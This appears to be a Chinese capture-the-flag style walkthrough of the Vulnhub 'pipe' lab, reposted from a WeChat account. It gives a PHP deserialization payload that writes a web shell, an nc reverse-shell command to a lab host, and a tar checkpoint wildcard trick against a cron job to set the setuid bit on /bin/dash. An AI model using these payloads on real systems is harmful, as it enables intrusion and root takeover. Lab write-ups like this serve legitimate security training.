【Vulnhub】pipe


nmap 扫描端口php



扫描目录出来个 scriptzcss



访问获得一个 js 一个 bakhtml



访问下载python

是一个 Log 类,后面析构函数实现了把 data 写到 filename 里面linux

public function __destruct()
{
  file_put_contents($this->filename, $this->data, FILE_APPEND);
}


而后构造一个序列化字符串web

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:29:"<?php system($_GET['cmd']);?>";}


url 编码一下shell

%4f%3a%33%3a%22%4c%6f%67%22%3a%32%3a%7b%73%3a%38%3a%22%66%69%6c%65%6e%61%6d%65%22%3b%73%3a%33%31%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%63%72%69%70%74%7a%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%73%3a%34%3a%22%64%61%74%61%22%3b%73%3a%32%39%3a%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%3b%7d


而后给 index.php 发过去,这样就在 scriptz 目录下生成一个 shell.php 的一句话api




nc 反弹个 shellbash

http://192.168.149.199/scriptz/shell.php?cmd=nc -e /bin/bash 192.168.149.1 6666微信



打开一个交互的 shell

python -c 'import pty;pty.spawn("/bin/bash")'


因为在 /home/rene/backup 目录下有一些备份文件,每分钟一个,因此可能有啥任务计划之类的



看一下



其中那个 /usr/bin/compress.sh 能够读到,看到他作了这么些事情



这里用到了 tar 提权

tar 选项中有一个 --checkpoint-action 当 --checkpoint-action=exec=command 时能够用来执行命令

当 --checkpoint=1 时能够用来显示信息

echo "" > --checkpoint-action=exec=sh\ shell.sh;
echo "" > --checkpoint=1;
echo 'chmod u+s /bin/dash' > shell.sh
chmod 777 shell.sh



而后等着 corn 运行 tar 就能拿到 shell

看着他的 bak 文件多了而后再没了就差很少了



这时候 /bin/dash 就能够啦


本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。